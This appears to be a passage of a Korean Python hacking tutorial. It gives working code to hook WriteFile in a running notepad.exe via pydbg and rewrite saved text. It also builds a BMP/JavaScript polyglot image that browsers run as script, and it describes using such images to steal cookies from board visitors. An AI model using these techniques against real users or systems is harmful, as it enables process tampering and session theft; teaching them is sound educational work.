  7. 콜백 함수 실행 : 인터럽트가 발생하면 인터럽트 서브루틴이 수행된다 미리 등록된 콜백 함수가 인터럽트 서브루틴에 해당한다 콜백 함수에 해킹 코드를 심어서 원하는 동작을 수행할 수 있다
  8. 프로세스 복귀 : 콜백 함수가 종료되면 정상적인 프로세스 흐름이 계속 진행된다

윈도우 운영체제는 단계별로 Win32 API를 지원한다 ctypes를 이용해서 호출할 수 있고 pydbg를 사용해서 Win32 API를 호출할 수 있다 복잡한 절차를 단순화시킨 pydbg 모듈을 설치해서 해킹의 기본 개념을 알아보도록 한다

 

pydbg 모듈 설치

파이썬으로 윈도우 애플리케이션을 해킹하려면 DLL을 통해 윈도우에서 지원하는 다양한 함수를 활용해야 한다 파이썬은 ctypes라는 FFI(Forenign Function Interface) 패키지를 기본적으로 지원한다 ctypes를 통해 DLL을 호출하고 C 언어의 데이터 형을 사용할 수 있다 또한 ctypes를 사용해서 순수 파이썬 코드만으로 확장 모듈을 구현할 수 있다 하지만 ctypes를 사용해서 윈도우 DLL을 직접 사용하려면 윈도우 함수에 대한 많은 사전 지식이 필요하다 함수 호출에 필요한 구조체(Structure)와 공용체(Union)를 선언하고 콜백 함수를 구현하는 등 복잡한 절차를 거쳐야만 한다 따라서 ctypes을 직접 사용하기 보다는 미리 개발된 파이썬 모듈을 설치해서 사용한다

 

파이썬 해킹은 외부 라이브러리를 설치하는 것에서부터 시작한다 먼저 애플리케이션 해킹이나 리버스 엔지니어링(Reverse Engineering)에 많이 사용되는 오픈소스 파이썬 디버거인 pydbg 모듈을 설치하고 간단한 테스트 코드를 작성한다 pydbg는 페드램 아미니(Pedram Amini)에 의해 RECON2006에서 소개된 PaiMei 프레임워크의 서브 모듈이다 

PaiMei는 순수하게 파이썬으로 개발된 프레임워크로 PyDbg, pGRAPH, PIDA 이렇게 세 개의 코어 컴포넌트와 Utilities, Console, Scripts와 같은 확장 컴포넌트로 구성되어 있다 그중 pydbg는 강력한 디버깅 기능을 지원하고 콜백 함수 확장을 통해 사용자 정의 기능을 구현할 수 있다

 

 

(PaiMei-1.1.win32.exe 설치)

+ msvcr71.dll

+ PaiMei-1.1-REV122

 

 

 

 

PaiMei는 Python2.7.x와 호환성을 유지하기 위해 파이썬 디렉터리\Lib\ctypes 폴더 아래에 있는 __init_.py 파일을 열어서 다음 두 줄의 코드를 추가한다

from _ctypes import Structure as _ctypesStructure
class Structure(_ctypesStructure): pass

 

파이썬 2.7.x 버전용으로 리빌드된 pydasm.pyd 파일을 내려받아서 파이썬 디렉터리\Lib\site-packages\pydbg 폴더에 복사한다 리빌드된 pydasm.pyd 파일은 인터넷에서 쉽게 검색할 수 있다 정상적으로 설치됐는지는 다음과 같이 확인할 수 있다 

 

 

* 작동이 되지 않으면 3.x에서 실행합니다

 

 

API 후킹

API 후킹(API Hooking)이란 응용 프로그램에서 발생하는 API에 대한 정상적인 호출을 중간에 가로채서 프로그래머가 의도한 특정 목적을 달성하는 해킹 기법이다 pydbg에서 제공하는 기능을 이용해서 간단하게 API후킹을 구현한다

 

메모장에 기록된 자료를 저장하는 함수를 후킹하여 프로그래머가 원하는 내용으로 변경하는 프로그램을 만들어 본다 저장 버튼을 클릭할 때 메모장에 기록된 love 문자를 hate로 변경해서 메모장 파일을 생성한다 열려 있는 메모장에는 love로 쓰여 있지만 저장 파일에는 hate로 기록된다

 

*APIHooking.py

import utils, sys
from pydbg import *
from pydbg.defines import *

'''
BOOL WINAPI WriteFile(
  _In_         HANDLE hFile,
  _In_         LPCVOID lpBuffer,
  _In_         DWORD nNumberOfBytesToWrite,
  _Out_opt_    LPDWORD lpNumberOfBytesWritten,
  _Inout_opt_  LPOVERLAPPED lpOverlapped
);
'''
dbg = pydbg()
isProcess = False

orgPattern = "love"
repPattern = "hate"
processName = "notepad.exe"

def replaceString(dbg, args):                                #(1)
    buffer = dbg.read_process_memory(args[1], args[2])       #(2)

    if orgPattern in buffer:                                 #(3)
        print "[APIHooking] Before : %s" % buffer
        buffer = buffer.replace(orgPattern, repPattern)      # (4)
        replace = dbg.write_process_memory(args[1], buffer)  # (5)
        print "[APIHooking] After : %s" % dbg.read_process_memory(args[1], args[2])

    return DBG_CONTINUE

for(pid, name) in dbg.enumerate_processes():                 #(6)
    if name.lower() == processName :

        isProcess = True
        hooks = utils.hook_container()        

        dbg.attach(pid)                                                       #(7)
        print "Saves a process handle in self.h_process of pid[%d]" % pid

        hookAddress = dbg.func_resolve_debuggee("kernel32.dll", "WriteFile")  #(8)

        if hookAddress:
            hooks.add(dbg, hookAddress, 5, replaceString, None)               #(9)
            print "sets a breakpoint at the designated address : 0x%08x" % hookAddress
            break
        else:
            print "[Error] : couldn't resolve hook address"
            sys.exit(-1)

if isProcess: 
    print "waiting for occuring debugger event"
    dbg.run()                                                                  #(10)
else:
    print "[Error] : There in no process [%s]" % processName
    sys.exit(-1)

 

  1. 콜백 함수 선언 : 디버그 이벤트(Debug Event)가 발생할 때 호출할 콜백 함수를 선언한다 이 함수 내부에 후킹 코드가 들어가 있다
  2. 메모리 값 읽기 : 지정된 주소에서 지정된 길이만큼 메모리 주소를 읽어서 값을 반환한다 메모리에 저장되는 값이 파일에 기록된다 (kernel32.ReadProcessMemory)
  3. 메모리 값에서 패턴 검사 : 메모리 값에서 변경을 원하는 패턴이 있는지 검사한다
  4. 값의 변경 : 원하는 패턴이 검색되면 해커가 원하는 값으로 변경한다
  5. 메모리 값 쓰기 : 변경된 값을 메모리에 저장한다 이상이 콜백 함수에서 수행해야 할 해커가 의도한 동작이다 love를 hate로 변경해서 메모리에 저장한다 (kernel32.WriteProcessMemory)
  6. 프로세스 ID 리스트 얻기 : 윈도우 운영체제에서 실행되는 모든 프로세스 ID 리스트를 얻는다 (kernel32.CreateToolhelp32Snapshot)
  7. 프로세스 핸들 구하기 : 프로세스 자원을 다룰 수 있는 핸들(Handle)을 얻어서 클래스 내부에 저장한다 프로세스에 필요한 동작은 핸들을 통해서 지원할 수 있다 (kernel32.OpenProcess, kernel32.DebugActiveProcess)
  8. 중단점을 설치할 함수의 주소 구하기 : 핸들을 사용해서 프로세스의 메모리의 값을 조사한다 원하는 Win32 API의 함수를 찾아서 해당 주소를 반환한다
  9. 중단점 설정 : 대상 함수에 중단점을 설정하고 디버그 이벤트가 발생할 때 처리할 콜백 함수를 등록한다
  10. 디버그 시작 : 무한 루프 상태에서 디버그 이벤트 발생을 기다리다가 이벤트가 발생하면 콜백 함수를 호출한다

핸들

Win32 API를 이용해서 윈도우 운영체제에서 동작하는 자원을 다루려면 자원이 위치한 물리적인 주소를 가리키는 핸들(Handle)을 알아야 한다 자원이 위치한 물리적 주소는 시간에 따라 변동할 수 있기 때문에 중간 매개체인 핸들을 통해서 윈도우 자원을 편리하게 사용할 수 있다

 

사용자 입력 화면

실제 저장된 파일


이미지 파일 해킹

 

 

이미지 파일 해킹 개요

파이썬은 파일을 다루는 아주 강력한 기능을 제공한다 바이너리(Binary)파일을 열어서 내용을 변경하거나 추가할 수 있다 웹에서 사용하는 다양한 형식의 이미지 파일에 스크립트를 추가하면 강력한 기능을 가진 해킹 도구를 만들 수 있다

비트맵(BMP) 파일에 자바 스크립트를 삽입해서 쿠키를 저장하고 다시 읽어들이는 간단한 프로그램을 만들어본다

 

먼저 hello.bmp라는 이미지를 하나 만든다 생성된 이미지를 에디터로 열면 16진수 값을 볼 수 있다 처음 2바이트는 비트맵 파일을 식별하는 데 사용되는 매직 넘버다 0x42와 0x4D는 각각 B와 M에 대한 ASCII 코드 포인트이다 다음 4바이트 BMP 파일의 크기를 바이트 단위로 나타낸다

 

 

이미지 파일 해킹

비트맵 파일에 삽입할 스크립트를 먼저 만들어본다 브라우저는 쿠키를 생성하고 저장하는 기능을 가지고 있다 쿠키란 브라우저가 사용하기 위해 PC에 기록하는 작은 정보다 브라우저는 쿠키를 자신의 메모리 공간이나 파일 형태로 저장한다 프로그래머는 사용자 로그인 정보나 세션 정보를 저장하고자 쿠키를 많이 사용한다 만일 해커가 쿠키를 얻을 수 있다면 다양한 방식의 공격에 사용할 수 있다 다음 스크립트는 쿠키를 저장하고 다시 경고 창으로 출력하는 동작을 한다

 

*hello.js

name = 'id';
value = 'HongGilDong';
var todayDate = new Date();
todayDate.setHours(todayDate.getDate() + 7);
document.cookie = name + "=" + escape( value ) + "; path=/; expires=" + todayDate.toGMTString() + "";
alert(document.cookie)

쿠키는 이름(Name) 값(Value)의 쌍으로 저장되며 여기서는 name='id'와 value='HongGilDong'이 쿠키에 저장된다 쿠키는 유효 시간이 있는데 여기서는 7일을 유효 시간으로 설정한다 마지막으로 설정된 쿠키를 경고 창으로 보여주는 스크립트를 추가한다 이제 비트맵 파일에 스크립트를 삽입하는 프로그램을 만들어본다

 

*imageHacking.py

fname = "hello.bmp"

pfile = open(fname, "r+b") #이진 파일 열기(읽기 모드) : hello.bmp 파일을 연다 r+b는 이진 파일 읽기 전용 모드
buff = pfile.read()
buff.replace(b'\x2A\x2F',b'\x00\x00') #오류 제거 : 스크립트 실행 중 오류를 발생시킬 수 있는 *과 /문자는 공백으로 치환
pfile.close()

pfile = open(fname, "w+b") #이진 파일 열기(쓰기 모드) : hell.bmp 파일을 연다 w+b는 이진 파일 쓰기 전용 모드
pfile.write(buff)
pfile.seek(2,0) #파일 위치 이동 : seek(2,0) 함수는 파일 읽기 커서를 시작 기준으로 2바이트 이동시킨다
pfile.write(b'\x2F\x2A') #주석문 삽입 : 매직넘버 뒤에 주석문의 시작을 의미하는 /*을 삽입한다 브라우저는 
pfile.close() #매직 넘버만 인식하면 나머지 데이터에 일부 손상이 발생하더라도 비트맵 파일을 정상적으로 읽는다

pfile = open(fname, "a+b") #이진 파일 열기(추가 모드) : hello.bmp파일을 연다 a+b는 이진 파일 추가 전용
pfile.write(b'\xFF\x2A\x2F\x3D\x31\x3B')  #주석문의 끝을 의미하는 */을 삽입한다
pfile.write(open('hello.js','rb').read()) #스크립트가 실행될 때 비트맵 이미지 부분은 주석처리가 된다
pfile.close()

 

프로그램을 실행하면 비트맵 파일 크기는 스크립트가 추가돼 약간 증가한다 눈으로 확인하는 이미지 파일의 품질은 같다 비트맵 파일을 에디터로 열어보면 다음과 같이 파일이 변경된 것을 확인할 수 있다

 

ImageHacking.py 실행 결과

스크립트가 심어진 비트맵 파일을 실행하는 간단한 HTML을 작성한다

hello.bmp이미지를 화면에 보여주는 코드와 hello.bmp에 추가된 스크립트를 실행하는 코드를 각각 만들어 본다

<img src="hello.bmp"/>            <!-- 이미지 출력 -->
<script src="hello.bmp"></script> <!-- 스크립트 실행 -->

 

hello.html 실행 결과

hello.js에서는 단순히 쿠키를 저장하고 경고 창으로 쿠키를 출력하는 스크립트만 작성했다 PC에 저장된 쿠키를 얻어서 제 3의 사이트로 전송하는 스크립트를 비트맵 파일에 넣었다고 가정하면 사용자들이 많이 접속하는 게시판에 비트맵 파일을 올려놓으면 게시물을 읽은 사용자 쿠키 정보가 해커가 원하는 사이트로 전송될 것이다 해커는 이 정보를 통해 XSS 공격을 할 수 있다